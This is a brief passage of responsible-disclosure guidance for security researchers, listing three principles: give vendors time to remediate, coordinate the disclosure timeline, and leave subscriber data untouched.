- Allow time for remediation: Give the vendor reasonable time to address the vulnerability before public disclosure.
- Coordinate disclosure: Work with the vendor on a coordinated disclosure timeline.
- Respect privacy: Do not access, modify, or store subscriber data encountered during security research.